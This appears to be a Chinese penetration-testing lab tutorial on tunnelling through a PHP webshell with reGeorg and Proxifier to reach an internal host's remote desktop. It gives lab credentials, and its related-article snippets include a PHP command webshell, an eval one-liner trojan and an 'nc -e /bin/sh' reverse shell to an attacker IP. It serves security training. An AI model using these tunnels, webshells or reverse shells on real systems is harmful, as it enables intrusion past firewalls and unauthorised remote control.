reGeorg隐秘隧道搭建

reGeorg隐秘隧道搭建

【实验目的】

通过学习reGeorgProxifier工具使用,实现外网攻击端连接内网主机远程桌面。

【知识点】

pythonreGeorgproxifier

【实验原理】

在内网渗透中,由于防火墙的存在,导致无法对内网直接发起连接,因此就需要端口转发,如果进一步对内网其他主机进行渗透,就需要通过内网代理,才能对其他主机进行渗透。可以使用reGeorg+Proxifier组合将mstsc.exe的流量经过代理发向内网主机,通过这种方式成功连接内网主机的远程桌面。

reGeorgreDuh的升级版,主要将内网主机的端口通过http或者https隧道转发到本机,形成一个回路。用于服务器处于内网环境中并部署端口策略的情况下,连接服务器内部开放的端口。它利用webshell建立一个socks代理进行内网穿透。
reGeorgSocksProxy由服务端和客户端两部分组成,服务端有phpaspxjsp等多个版本,客户端由Python编写。工作原理可以简单描述为Python客户端在本地监听一个端口,提供socks服务,并将数据通过http/https协议发送到服务端,并从服务端用socket实现转发。

【实验设备】

  • 网络设备:交换机*1
  • 主机终端:windows71台、windows20082台。

【软件工具】

Python2.7reGeorgProxifier3.42

注:Proxifier3.42工具已放置实验攻击端主机桌面的实验工具文件夹中,需学员自行完成安装。

【实验拓扑】

实验拓扑如图所示。

【实验思路】

  1. 服务器访问tunnel.nosocket.php网页。
  2. 执行Python脚本。
  3. 设置代理。
  4. 远程连接内网主机。

【实验步骤】

1 登录拓扑图中间的服务器,用户名/密码:administrator/com.1234。双击桌面左侧phpStudy.exe图标,开启phpStudy程序,如图所示。单击phpStudy界面的【启动】按钮,启动phpStudy,如图所示。

2 登录拓扑图右侧的内网主机,用户名/密码:administrator/com.1234。双击桌面左侧Firefox图标,进入火狐浏览器,如图所示。

3 地址栏中输入192.168.100.101/tunnel.nosocket.php,访问服务器搭建的网站,页面回显如图所示。

4 登录拓扑图左侧的攻击端主机,用户名/密码:administrator/com.1234。双击桌面左侧reGeorg文件夹,在文件夹内空白处按住shift键的同时单击鼠标右键,选中快捷菜单的【在此处打开命令窗口】,进入命令窗口,执行命令python reGeorgSocksProxy.py -l 192.168.122.17 -p 8080 -u http://192.168.122.18/tunnel.nosocket.php,执行攻击脚本,如图所示。

5 根据实验【软件工具】要求安装Proxifier工具后,双击桌面Proxifier图标,准备设置代理 (如果双击图标后没反应,请在任务栏右下角打开),如图所示。

6 单击菜单栏中【ProfileProxy Servers】选项,设置代理,如图所示。

7 单击【Proxy Servers】对话框右侧的【Add…】按钮,在弹出来的【Proxy Server】对话框的地址输入192.168.122.17,端口输入8080(地址和端口与执行Python脚本攻击命令中设置的地址和端口一致),单击【SOCKS Version 5】前的单选按钮,后续单击【OK】按钮即可完成代理服务器设置,如图所示。

8 单击菜单栏【Proxification Rules】图标,如图 所示。

9 单击【Add…】按钮,添加代理规则,规则设置如图所示,选中liwai前的复选框,设置完毕后单击下方的【OK】按钮,如图所示。

10 单击桌面左下角【开始】菜单,在搜索框中输入mstsc,再单击mstsc程序,如图所示,进入远程桌面连接。

11 输入内网主机的ip地址192.168.100.202,单击【连接】按钮,如图所示。

12 输入用户名/密码:administrator/com.1234,,单击【确定】按钮,如图所示,验证提示框单击【是(Y)】按钮,如图所示,登录内网主机远程桌面,成功登。


 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1452209.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

可解析PHP的反弹shell方法

这里拿vulnhub-DC-8靶场反弹shell&#xff0c;详情见Vulnhub-DC-8 命令执行 拿nc举例 <?php echo system($_POST[cmd]); ?>利用是hackbar&#xff0c;POST提交cmdnc -e /bin/sh 192.168.20.128 6666, 直接反弹shell到kali。 一句话木马 <?php eval($_POST[&qu…

原码、反码和补码

原码 原码是数字的二进制表示方式&#xff0c;由符号位和绝对值&#xff08;数值位&#xff09;构成。原码的第一位代表符号位&#xff08;0 代表正数&#xff0c;1 代表负数&#xff09;&#xff1b;第二位开始就是数字的绝对值。 反码 反码的表示方法区分正负数。 正数时…

C# Winform内嵌窗体(在主窗体上显示子窗体)

在开发Winform项目中&#xff0c;经常会要切换不同的窗体。通常程序都有一个主窗体&#xff0c;在切换窗体时往往需要关闭其他子窗体&#xff0c;这个实例就来介绍MDI主窗体内嵌子窗体的实现方法。 MDI主窗体要设置一个比较重要的属性&#xff0c;IsMdiContainertrue。子窗体的…

leetcode-09-[232]用栈实现队列[225]用队列实现栈[20]有效的括号[1047]删除字符串中的所有相邻重复项

重点&#xff1a; 栈和队列 Java中 栈不建议用stack来实现 建议用 ArrayDeque和Linkedlist来实现 队列建议用ArrayDeque和Linkedlist来实现 两者效率比较&#xff1a; java - Why is ArrayDeque better than LinkedList - Stack Overflow 基于Linkedlist是链表等&#xff0c;除…

亚马逊测评自养号与机刷的区别

前言&#xff1a; 在亚马逊运营的领域中&#xff0c;经常有人问&#xff1a;测评自养号就是机刷吗&#xff1f;它们两者有什么区别&#xff1f;做自养号太慢、太需要时间了&#xff0c;如果用机刷的话&#xff0c;会不会简单高效一点&#xff1f; 在这篇文章中&#xff0c;我…

【C++进阶】模板进阶与仿函数:C++编程中的泛型与函数式编程思想

&#x1f4dd;个人主页&#x1f339;&#xff1a;Eternity._ ⏩收录专栏⏪&#xff1a;C “ 登神长阶 ” &#x1f921;往期回顾&#x1f921;&#xff1a;栈和队列相关知识 &#x1f339;&#x1f339;期待您的关注 &#x1f339;&#x1f339; ❀模板进阶 &#x1f9e9;<&…

GTC2024全国流量大会,IPIDEA与您共话出海新趋势

在科技与信息化高速发展的今天&#xff0c;流量已成为连接线上线下、推动商业发展的重要驱动力。6月17日至6月18日&#xff0c;深圳福田会展中心即将迎来GTC2024全国流量大会&#xff08;深圳&#xff09;的盛大召开。 GTC全国流量大会作为业内产业链最全、资源最丰富的专业展会…

el-tabl 表格行列转换(表头在左数据在右)

1 效果展示 1 空数据 2 有数据 2 完成代码 2.1 SchedulingTable.vue <template><div class="schedulingTable"><el-row :gutter="1" class="row-center"><el-col :span="3"><el-tag type="&quo…

STM32项目分享:智能窗帘系统

目录 一、前言 二、项目简介 1.功能详解 2.主要器件 三、原理图设计 四、PCB硬件设计 1.PCB图 2.PCB板打样焊接图 五、程序设计 六、实验效果 七、资料内容 项目分享 一、前言 项目成品图片&#xff1a; 哔哩哔哩视频链接&#xff1a; https://www.bilibili.c…

【docker实战】使用代理的坑

在docker公共仓库被封禁的日子里&#xff0c;大多数人更喜欢使用镜像仓库代理源。 网上教程一大把&#xff0c;似乎不使用代理&#xff0c;就不会使用docker一样。 上图就是我设置的代理源镜像仓库。通常是设置/etc/docker/daemon.json这个文件实现的。 这样设置之后&#xff0…

显卡GPU、CUDA、Pytorch版本对应即下载安装

显存大于4G的建议使用GPU版本的pytorch&#xff0c;低于4G建议使用CPU版本pytorch&#xff0c;直接使用命令安装对应版本即可 GPU版本的pytorch的使用需要显卡支持&#xff0c;需要先安装CUDA&#xff0c;即需要完成以下安装 1.查看显卡GPU支持的CUDA版本&#xff08;最高&…

Bug:SSH Failed Permission Denied(完美解决)

Bug&#xff1a;SSH Failed Permission Denied&#xff08;完美解决&#xff09; 今天我本机mac通过ssh访问linux服务器时报错&#xff1a;SSH Failed Permission Denied 思路&#xff1a; linux服务器sshd是否开启linux /etc/ssh/sshd_config配置是否正确&#xff08;是否开启…

Stable Diffusion入门指南(看完必会)超全面

作者&#xff1a;SuMu 链接&#xff1a;https://zhuanlan.zhihu.com/p/703196651 来源&#xff1a;知乎 著作权归作者所有。商业转载请联系作者获得授权&#xff0c;非商业转载请注明出处。 今天写这个帖子是带大家了解一款强大的 AI 绘画工具——Stable Diffusion&#xff…

重新安装TortoiseGit后提示权限错误问题解决

今天在Windows11系统中下载安装使用TortoiseGit可视化Git工具&#xff0c;进行代码提交管理。 由于电脑之前是一位开发人员在使用&#xff0c;所以曾经安装使用过这个工具。 重新安装好软件后&#xff0c;在coding网站中复制代码路径后&#xff0c;在本地目录通过鼠标右键选择…

把Vue项目从Window系统迁移到Mac系统的方案

不能启动vue ui 直接运行&#xff0c;会报错如下&#xff1a; failed to load config from /Users/xiaochen/IdeaProjects/ChatViewer-frontend/vite.config.tserror when starting dev server: Error: You installed esbuild for another platform than the one youre curre…

大模型企业落地:制造业可以选择的应用场景

前言 在当今制造业快速发展的背景下&#xff0c;设备稳定运行对于企业的发展至关重要。然而&#xff0c;传统的设备维修模式已无法满足现代企业的需求。为此&#xff0c;引入智能化、数字化的设备维修解决方案成为必然趋势。本文将探讨如何利用大模型技术&#xff0c;构建企业…

【FireSim/Chipyard】解决FireSim Repo Setup步骤中Conda的firesim环境下载失败的问题

【FireSim/Chipyard】解决FireSim Repo Setup步骤中Conda的firesim环境下载失败的问题 问题描述 按照U250官方文档下载Conda环境的时候&#xff0c;即语句./scripts/machine-launch-script.sh --prefix REPLACE_ME_USER_CONDA_LOCATION的时候会遇到以下报错&#xff1a; Sol…

vue3-sfc-loader动态加载一个异步vue组件生成cesium画面

在 Vue.js 3 中&#xff0c;使用 vue3-sfc-loader 可以动态加载异步的 Vue 单文件组件&#xff08;.vue 文件&#xff09;。这个工具允许你在运行时根据需要加载和解析 .vue 文件&#xff0c;使得组件的加载变得更加灵活和动态。 下面是一个简单的示例&#xff0c;演示如何使用…

C++面向对象程序设计 - 函数库

C语言程序中各种功能基本上都是由函数来实现的&#xff0c;在C语言的发展过程中建立了功能丰富的函数库&#xff0c;C从C语言继承了些函数功能。如果要用函数库中的函数&#xff0c;就必须在程序文件中包含文件中有关的头文件&#xff0c;在不同的头文件中&#xff0c;包含了不…

图解Attention学习笔记

教程是来自https://github.com/datawhalechina/learn-nlp-with-transformers/blob/main/docs/ 图解Attention Attention出现的原因是&#xff1a;基于循环神经网络&#xff08;RNN&#xff09;一类的seq2seq模型&#xff0c;在处理长文本时遇到了挑战&#xff0c;而对长文本中…